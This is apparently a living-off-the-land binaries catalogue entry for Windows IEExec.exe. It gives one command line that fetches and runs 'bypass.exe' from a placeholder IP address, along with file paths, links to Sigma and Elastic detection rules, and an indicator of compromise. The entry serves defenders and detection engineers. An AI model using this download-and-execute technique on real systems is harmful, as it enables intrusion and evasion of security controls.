The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.
ieexec.exe http://x.x.x.x:8080/bypass.exe
Downloads and executes bypass.exe from the remote server.
Download and run attacker code from remote location
C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe, C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ieexec.exe
Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_ieexec_download.yml, Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml, Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml, Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml, IOC: Network connections originating from ieexec.exe may be suspicious
Casey Smith (@subtee)